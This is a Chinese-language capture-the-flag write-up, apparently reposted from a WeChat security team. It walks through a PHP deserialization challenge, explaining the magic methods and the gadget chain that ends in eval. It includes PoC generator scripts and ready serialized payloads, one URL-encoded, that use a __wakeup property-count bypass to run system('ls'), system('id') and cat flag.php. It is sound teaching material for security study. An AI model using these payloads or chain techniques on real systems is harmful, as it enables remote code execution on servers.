这是2024补天白帽黑客年度庆典中的一个活动,其中有一道反序列化的题,但是因为忙着赶车,就截图了代码自己复现,这里面出现了7个魔术方法,相等于是常见的魔术方法都在这里了,下面就是复现环节。
这是第一个类(B),首先这里面的name和age被定义了private也就是局部属性变量,只能在B类里面用;有两个魔术方法,__construct()和__destruct();
可以看到__construct()方法里面有两个值,也就是实例化的时候传入的两个值,相等于给age和name赋值了,__destruct()方法里面从当前对象($this)中获取名为name的属性,再从name属性所引用的对象中获取名为butian的属性或调用名为butian的方法。可以发现在这个类里面是没有butian属性或者方法的,也就是说可以通过这个去触发某个魔术方法。
__construct():是一个构造函数,顾名思义,也就是在实例化(new)一个对象的时候,首先会去自动执行该方法。
__destruct():是一个析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法,解析构造函数。
通常来说,两个都同时存在情况下,肯定是先执行构造,然后再执行析构。
第二个类(T),首先也是定义了两个局部属性的变量,然后是__toString()和__wakeup()魔术方法;
可以看到toString里面有个eval函数,并且里面是先获取了bu的属性然后再去引用tian的属性,wakeup里面就把bu给赋值了,并且运行了一个die,也就是说,当我们这个对象被反序列化是他就会立即终止,并且不会去执行tostring方法,也就是说我们要去饶过这个wakeup。
__toString():当使用echo或print输出对象将对象转化为字符形式,或者将一个对象与字符串进行拼接时,会触发__toString方法
__wakeup():在进行反序列化时,unserialize()函数会检查是否存在一个__wakeup()方法,如果存在,则会先触发__wakeup()方法;但是如果wakeup里面是die,他就会立刻终止,并且不再进行任何操作。
我们要是想绕过wakeup不去让他执行这个die,那就让序列化出来的变量数量大于他本身的数量,也就是如果我们这里面本身是两个变量username和password,序列化出来的也是两个,那就将2改成3即可绕过。
第三个类(ctf),可以看到这里只定义了一个局部的属性r变量,还有个__get()魔术方法并且就接受了一个r让func变量等于所接受的r值,然后触发这个get之后返回一个func,但是这里的func是返回的函数。
__get($name):当程序访问一个未定义或不可见的成员变量时,PHP就会执行__get()方法来读取变量值,__get()方法有一个参数,表示要调用的变量名。
第四个类(C),这里定义了两个公共属性的cmd和args变量,还有__invoke()和__call()两个魔术方法,首先invoke里面是输出要赋值的cmd,call要接受cmd与args,并且一旦被触发就要判断cmd是否等于cat,args是否等于flag,如果都等于的话则包含flag.php;最后在所有类外面是传参接收值data,然后反序列data并重新赋值给$data。
__invoke():当一个对象被当做函数进行调用时触发。
__call():当调用不存在或不可见的成员方法是,PHP回显触发__call()方法来存储方法名及其参数。
按照常规来说,第一个参数接收的值是a,但是这里接收的是方法名,并且第二个参数接受的还是一个数组;因为__call()魔术方法的格式为:__call(string $function_name,array $arguments);这里面第一个参数$function_name会自动接收不存在的方法名,第二个$arguments则以数组的方式接受不存在方法的多个参数。
这里我们就分析完所有的类以及所有的魔术方法,接下来就是这些魔术方法的互相触发然后执行出来flag。
我们分析这种反序列化题可以逆着分析,也就是先去找能够执行linux命令、system、eval、assert等这种命令的;这道题里面存在eval的在T类里面。
然后就是怎么来触发toString魔术方法来调用eval,我们上面说过,当使用echo或者print把对象当做字符串来输出可以触发这个魔术方法
我们遵循这个原则来看这道题,能够触发tostring魔术方法的也只有C类中invoke方法里面的echo $this->cmd。
当然也有人和我来抬杠,说不光这个有echo输出,那B类的destruct魔术方法下面也有一个echo呀,那为啥那个不行?
我们可以准确的看见这个butian属性是在这道题里面没有任何声明的,只在这个地方出现一次,当然他不是没有用的,既然这是一个不存在或不可访问的成员变量,他可以触发一种魔术方法,放在后面说。
用invoke方法里面的echo触发了tostring,那用什么来触发invoke呢?他的原理是将一个对象作为函数进行调用时会触发这个魔术方法
我们这样去自己写一下就知道用哪个去触发invoke了,没错是ctf类
既然我们知道了使用ctf类中__get()魔术方法里面的retrun $func()来触发invoke,那谁去触发__get()呢?我们知道要触发这个魔术方法,那就要访问一个未定义或不可见的成员变量,OK这样一说是不是就知道谁去触发了,在刚才的destruct里面有一个单独的变量butian,这个没有任何类里面或者方法里面去定义过,所以是使用B类中的__destruct()魔术方法里面的echo $this->name->butian;来触发get魔术方法。
那我们的destruct怎么去触发,当对象的所有引用被删除或者当对象被显式销毁就会触发,也就是我们执行完new他就会触发。我们还有个地方要考虑也就是unserialize会触发一个wakeup,上面我们说过这个wakeup可以用大于所在类的变量值就可以绕过。
所以我们现在的触发顺序是B::__destruct()-->ctf::__get()-->C::__invoke()-->T::__toString()-->
有了这个触发顺序我们既可以正面去构造,也可以反向去构造,这里我只讲正向的。下面我们将构造一下POC。
原始是private局部,但是我们构造的时候为public,其实这是可以的,主要是为了能够让他全局匹配。
注意:源代码中的pirvate变量在poc里面都改为了public
我们可以看到他是在所有东西都执行完情况下采取执行的__destruct()方法,所以我们只管构造其他就不用管了。
new的是类,传的是参数,至于我这里为什么只传空,因为用不到哈哈。接下来就是name的赋值,要记住我们要有一个规律:“传给谁,要怎么传”。
常规来说这两个都可以,但是这样构造短的可以这样,如果像这道题这样一个超长,这样去构造的话会很乱很乱,所以我们用最简单的赋值来写。
至于还有的看的快的人在想为什么就去给name赋值new ctf()而不是其他的,在构造Poc之前我就说了,自己找找吧
第一个类构造完就转到下一个类继续构造,首先上面分析出了触发顺序,那么下一个关键触发变量就是ctf类的r因为他要触发C类的魔术方法
构造完ctf类就是构造C类,然后要用cmd这个关键触发变量去触发T类的toString
触发完了tostring就是执行这个魔术方法里面的eval函数,但是要怎么调用,给谁赋值附上执行函数?
首先,我们可以看到这里还有一个new T()会不会重复,其实并不会,他只是在次调用一下自己而已。
有的人很严谨怕这里的执行发生意外,其实自己测试的时候会发现不用去在调用也可以的。
然后最后就是赋值上执行函数system('ls');
<?php
highlight_file(__FILE__);
classB{
public$name;
public$age;
public function __construct($name,$age){
$this->age=$age;
$this->name=$name;
}
public function __destruct(){
echo$this->name->butian;
}
}
classT{
public$bu;
public$tian;
public function __toString(){
eval($this->bu->tian);
}
public function __wakeup(){
$this->bu="butianctf";
die("hacker???????????");
}
}
classctf{
public$r;
public function __get($r){
$func=$this->r;
return$func();
}
}
classC{
public$cmd;
public$args;
public function __invoke(){
echo$this->cmd;
}
public function __call($cmd,$args){
if($cmd='cat' && $args='flag'){
include'flag.php';
}
}
}
$b=new B("","");
$b->name=new ctf();
$b->name->r = new C();
$b->name->r->cmd=new T();
$b->name->r->cmd->bu=new T();
$b->name->r->cmd->bu->tian="system('ls');";
echo serialize($b);
生成出来这样一段paylaod,但这不是真正的paylaod,我在上面一直强调绕过wakeup,所以我们将T的变量数从2改为3就可以了
O:1:"B":2:{s:4:"name";O:3:"ctf":1:{s:1:"r";O:1:"C":2:{s:3:"cmd";O:1:"T":3:{s:2:"bu";O:8:"stdClass":1:{s:4:"tian";s:13:"system('ls');";}s:4:"tian";N;}s:4:"args";N;}}s:3:"age";s:0:"";}
<?php
highlight_file(__FILE__);
class B{
private$name;
private$age;
public function __construct($name,$age){
$this->age=$age;
$this->name=$name;
}
public function __destruct(){
echo $this->name->butian;
}
}
class T{
private$bu;
private$tian;
public function __toString(){
eval($this->bu->tian);
}
public function __construct($bu,$tian){
$this->bu=$bu;
$this->tian=$tian;
}
public function __wakeup(){
$this->bu="butianctf";
die("hacker???????????");
}
}
class ctf{
private$r;
public function __construct($r){
$this->r=$r;
}
public function __get($r){
$func=$this->r; //invoke
return$func();
}
}
class C{
public$cmd;
public$args;
public function __invoke(){
echo $this->cmd; //toString
}
public function __call($cmd,$args){
echo '5';
if($cmd='cat' && $args='flag'){
include'flag.php';
}
}
}
$t2 = new T('1','system("cat flag.php");');
$t = new T($t2,'1');
$c = new C();
$c->cmd = $t;
$ctf = new ctf($c);
$b = new B($ctf,'1');
$a = serialize($b);
echo $a;
这个要改的更多,因为这位师傅没有将里面的private属性改为public,所以最后出来的Paylaod是有空格符的
所以我们需要将这里面的空格符变成%00,并且还是和刚才的方法一样去绕过wakeup。
O:1:"B":2:{s:7:"%00B%00name";O:3:"ctf":1:{s:6:"%00ctf%00r";O:1:"C":2:{s:3:"cmd";O:1:"T":3:{s:5:"%00T%00bu";O:1:"T":2:{s:5:"%00T%00bu";s:1:"1";s:7:"%00T%00tian";s:23:"system("cat flag.php");";}s:7:"%00T%00tian";s:1:"1";}s:4:"args";N;}}s:6:"%00B%00age";s:1:"1";}
<?php
highlight_file(__FILE__);
classB{
private$name;
private$age;
public function __construct($name){
$this->name=$name;
}
}
classT{
private$bu;
private$tian;
public function __construct($name){
$this->bu=$name;
}
}
$t = new T((object)array("tian"=>"system('id');"));
$tostring = (object)array("butian"=>$t);
$b = new B($tostring);
$end = str_replace(':2:{',':3:{',serialize($b));
echo urlencode($end);
这个师傅的Poc直接就url编码了,然后输出出来就可以直接使用的;如果自己写poc上面的类里面的属性没有改的话要么空格符手改%00,要么url编码一下。
O%3A1%3A%22B%22%3A3%3A%7Bs%3A7%3A%22%00B%00name%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22butian%22%3BO%3A1%3A%22T%22%3A3%3A%7Bs%3A5%3A%22%00T%00bu%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22tian%22%3Bs%3A13%3A%22system%28%27id%27%29%3B%22%3B%7Ds%3A7%3A%22%00T%00tian%22%3BN%3B%7D%7Ds%3A6%3A%22%00B%00age%22%3BN%3B%7D
就此我们的这道题就结束了,写了好几天,最终变成了新年第一篇技术文章,如果有大佬认为我哪里没有做好或者有什么不懂的留言或者给公众号发信息就好。
原文始发于微信公众号(sixone安全团队):记一个线下活动的反序列化
评论